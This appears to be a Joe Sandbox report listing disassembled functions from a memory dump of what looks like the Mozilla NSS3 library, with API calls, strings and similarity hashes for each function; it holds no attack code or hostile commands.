Instruction Fuzzy Hash: EB41C5B2D01245AFEB009FA5DC45BAF7A74AF0531CF200128E9166B741E735AA15CBE2

Function 6CE95CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CE95EC0,00000000,?,?), ref: 6CE95CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CE95CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE95CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE95D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CE95EC0,00000000,?,?), ref: 6CE95D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CE95D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CE95D80

Strings

extern:, xrefs: 6CE95CEA, 6CE95D4B
dbm:, xrefs: 6CE95D03, 6CE95D60
sql:, xrefs: 6CE95CD1, 6CE95D36
NSS_DEFAULT_DB_TYPE, xrefs: 6CE95D1A
multiaccess:, xrefs: 6CE95CB8

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 80a81b344fdbef04d950ea24ccf198365aac3238833fb401d4eaab3bc2a908d8
Instruction ID: 7b6324b5648fc080037d08da46c8c4d7b69314f9e8b735b020c9886bfec7585d
Opcode Fuzzy Hash: 80a81b344fdbef04d950ea24ccf198365aac3238833fb401d4eaab3bc2a908d8
Instruction Fuzzy Hash: 6A3108A0B433016BE7511B24EC48B673778AF0324EF340232ED55F6B91E776D912C6A1

Function 6CE96CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF61DE0,?), ref: 6CE96CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE96D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CE96D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CE96D82
DER_GetInteger_Util.NSS3(?), ref: 6CE96DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE96DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CE96E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CE96F19
PK11_DigestBegin.NSS3(00000000), ref: 6CE96F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CE96F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE97011
PK11_FreeSymKey.NSS3(00000000), ref: 6CE97033
free.MOZGLUE(?), ref: 6CE9703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CE97060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CE97087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CE970AF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 9dd5026ed57a3375fd0fc12680e3098044c98bdbef2a33ff4a233a491157565f
Instruction ID: 2bd51fbc58270e544b9d2afb79793e51895fcae67b280195da284cda3e4d8971
Opcode Fuzzy Hash: 9dd5026ed57a3375fd0fc12680e3098044c98bdbef2a33ff4a233a491157565f
Instruction Fuzzy Hash: 4DA1F3B19142009BEB409F24DC56B6A32B9DB8130CF34493FE929CAB91E735D949C7D3

Function 6CE5AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5AF39
PR_Unlock.NSS3(?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5AF69
TlsGetValue.KERNEL32 ref: 6CE5B06B
EnterCriticalSection.KERNEL32(?), ref: 6CE5B083
PR_Unlock.NSS3(?), ref: 6CE5B0A4
TlsGetValue.KERNEL32 ref: 6CE5B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CE5B0D9
PR_Unlock.NSS3 ref: 6CE5B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE5B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE5B182

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE5B177

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CE3AB95,00000000,?,00000000,00000000,00000000), ref: 6CE5B1C2

Part of subcall function 6CE81560: TlsGetValue.KERNEL32(00000000,?,6CE50844,?), ref: 6CE8157A
Part of subcall function 6CE81560: EnterCriticalSection.KERNEL32(?,?,?,6CE50844,?), ref: 6CE8158F
Part of subcall function 6CE81560: PR_Unlock.NSS3(?,?,?,?,6CE50844,?), ref: 6CE815B2

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 13996840df7f4883bb7e9a5a8dcfb0b00287827d2391ccd030f823aa562f4104
Instruction ID: ecd435330a38a30d27321f0a33e969cea0e85a13d87bc5a3b2d6896625044225
Opcode Fuzzy Hash: 13996840df7f4883bb7e9a5a8dcfb0b00287827d2391ccd030f823aa562f4104
Instruction Fuzzy Hash: 60A1B2B6D002059BEF409F64DC41BEE77B4AF0930CF644129E909A7752E732E969CBE1

Function 6CE52C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?l,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52C62
EnterCriticalSection.KERNEL32(0000001C,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52C76
PL_HashTableLookup.NSS3(00000000,?,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52C93

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23,?), ref: 6CE52CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?,?,6CE53F23), ref: 6CE52CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?), ref: 6CE52CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CE4E477,?,?,?,00000001,00000000,?), ref: 6CE52D4D
EnterCriticalSection.KERNEL32(?), ref: 6CE52D61
PL_HashTableLookup.NSS3(?,?), ref: 6CE52D71
PR_Unlock.NSS3(?), ref: 6CE52D7E

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

Strings

#?l, xrefs: 6CE52C43

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?l
API String ID: 2446853827-1190849705
Opcode ID: ac8f3f58cd4cc62a0f35756d467223bf93f4ca835add0597fcca67b3b839e84c
Instruction ID: d60dc4bc8c16cf4d30d2368d2a7240082f72ac4bdf1c2ca8a98f820cd8173e5b
Opcode Fuzzy Hash: ac8f3f58cd4cc62a0f35756d467223bf93f4ca835add0597fcca67b3b839e84c
Instruction Fuzzy Hash: CD511876D00204ABDB009F24DC449AA7778FF1631CB648624ED1997B12E732ED64C7E1

Function 6CEAAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEAADB1

Part of subcall function 6CE8BE30: SECOID_FindOID_Util.NSS3(6CE4311B,00000000,?,6CE4311B,?), ref: 6CE8BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CEAADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CEAAE08

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEAAE25
PL_FreeArenaPool.NSS3 ref: 6CEAAE63
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CEAAE4D

Part of subcall function 6CDB4C70: TlsGetValue.KERNEL32(?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4C97
Part of subcall function 6CDB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CB0
Part of subcall function 6CDB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEAAE93
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CEAAECC
PL_FreeArenaPool.NSS3 ref: 6CEAAEDE
PL_FinishArenaPool.NSS3 ref: 6CEAAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEAAEF5
PL_FinishArenaPool.NSS3 ref: 6CEAAF16

Strings

security, xrefs: 6CEAADEE

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 3cce33a112f83004a132d8e1759942b13622c3e41c0361c241671f471dbec750
Instruction ID: 5a001b53ae6099512c8d5213421ba98210814599020cadc6aa84b85f3d97ada8
Opcode Fuzzy Hash: 3cce33a112f83004a132d8e1759942b13622c3e41c0361c241671f471dbec750
Instruction Fuzzy Hash: CC412EB58803006FE7205B94DC457BA32B8AF4630CF30852AD814DAB51F735958ACFD3

Function 6CF4AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEF9890: TlsGetValue.KERNEL32(?,?,?,6CEF97EB), ref: 6CEF989E

EnterCriticalSection.KERNEL32(?), ref: 6CF4AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CF4AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CF4AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CF4AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CF4B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF4B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CF4B070
PR_JoinThread.NSS3(?), ref: 6CF4B07B
free.MOZGLUE(?), ref: 6CF4B084
EnterCriticalSection.KERNEL32(?), ref: 6CF4B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CF4B0C4
PR_JoinThread.NSS3(?), ref: 6CF4B0F3
free.MOZGLUE(?), ref: 6CF4B0FC
PR_JoinThread.NSS3(?), ref: 6CF4B137
free.MOZGLUE(?), ref: 6CF4B140

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 77d736dd1638c80519782cd2938509255e36f410e815eee5db87d8dcf5743ece
Instruction ID: fefaed43e690cdee7895f76463d00083c3426555e3c984980bf84d5bfc5755ee
Opcode Fuzzy Hash: 77d736dd1638c80519782cd2938509255e36f410e815eee5db87d8dcf5743ece
Instruction Fuzzy Hash: 3E914CB5901A01DFCB04DF24C88495ABBF1FF49318729856DD8595BB22E732FC46CB91

Function 6CEC5CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CEC2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEC2A28,00000060,00000001), ref: 6CEC2BF0
Part of subcall function 6CEC2BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CEC2A28,00000060,00000001), ref: 6CEC2C07
Part of subcall function 6CEC2BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CEC2A28,00000060,00000001), ref: 6CEC2C1E
Part of subcall function 6CEC2BE0: free.MOZGLUE(?,00000000,00000000,?,6CEC2A28,00000060,00000001), ref: 6CEC2C4A

free.MOZGLUE(?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5D0F
free.MOZGLUE(?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5D4E
free.MOZGLUE(?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5D62
free.MOZGLUE(?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5D85
free.MOZGLUE(?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5D99
free.MOZGLUE(?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEC5E3E
free.MOZGLUE(?,?,?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEC5E47
free.MOZGLUE(?,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000,?,6CEC80C1), ref: 6CEC5E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CECAAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CEC5E78
free.MOZGLUE(?,?,?,?,?,?,?,6CECAAD4), ref: 6CEC5EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CECAAD4), ref: 6CEC5EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEC5F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CECAAD4), ref: 6CEC5F4B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: b984d1aa05b77bd3a67211e88d1fe15875b3b7fc636590330639f47c7a558dfe
Instruction ID: 9ebefd56577867689222b3c6e0333ccb3d7a0d670da94db7104ab92b47de4906
Opcode Fuzzy Hash: b984d1aa05b77bd3a67211e88d1fe15875b3b7fc636590330639f47c7a558dfe
Instruction Fuzzy Hash: AD7181B5A01B019FD710CF24D988A9377B5FF89308F248629E86E87711EB31F959CB52

Function 6CE48DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE48E22
EnterCriticalSection.KERNEL32(?), ref: 6CE48E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE48E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE48E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE48E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE48EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE48EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE48EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE48F00
free.MOZGLUE(?), ref: 6CE48F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE48F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE48F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE48F5B
PR_Unlock.NSS3(?), ref: 6CE48F72
PR_Unlock.NSS3(?), ref: 6CE48F82

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 0c51a2b892609d0cf95902167b58db325677c43fd5a49a47e6c962c16e77ad0e
Instruction ID: bddac2127f7f6227f48ac413d4fbc05b4c462df2aa123ad5b2e8af7223838b18
Opcode Fuzzy Hash: 0c51a2b892609d0cf95902167b58db325677c43fd5a49a47e6c962c16e77ad0e
Instruction Fuzzy Hash: AB5105B2E00205AFEB109F68DC8596ABBB9EF45358F25C12AEC08DB701E731ED4587D1

Function 6CE6CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CE6CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE6CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CE6CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CE6CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CE6CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CE6CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CE6CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CE6CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CE6CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CE6CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CE6CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CE6CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CE6CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CE6D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CE6D021

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 5f531178b89a76e8e84bfbddc53cbc0e216779f48338637821c4b8d4ddb1ac03
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: AB31637576791127EF4E10579C21BDE20AA8B7530EF65003CF94EE9BC0F685971702B9

Function 6CF40FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF41000

Part of subcall function 6CEF9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE21A48), ref: 6CEF9BB3
Part of subcall function 6CEF9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE21A48), ref: 6CEF9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF41016

Part of subcall function 6CEDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEDC2BF

PR_Unlock.NSS3(?), ref: 6CF41021

Part of subcall function 6CEDDD70: TlsGetValue.KERNEL32 ref: 6CEDDD8C
Part of subcall function 6CEDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEDDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF41046
PR_Unlock.NSS3(?), ref: 6CF4106B
PR_Lock.NSS3 ref: 6CF41079
PR_Unlock.NSS3 ref: 6CF41096
free.MOZGLUE(?), ref: 6CF410A7
free.MOZGLUE(?), ref: 6CF410B4
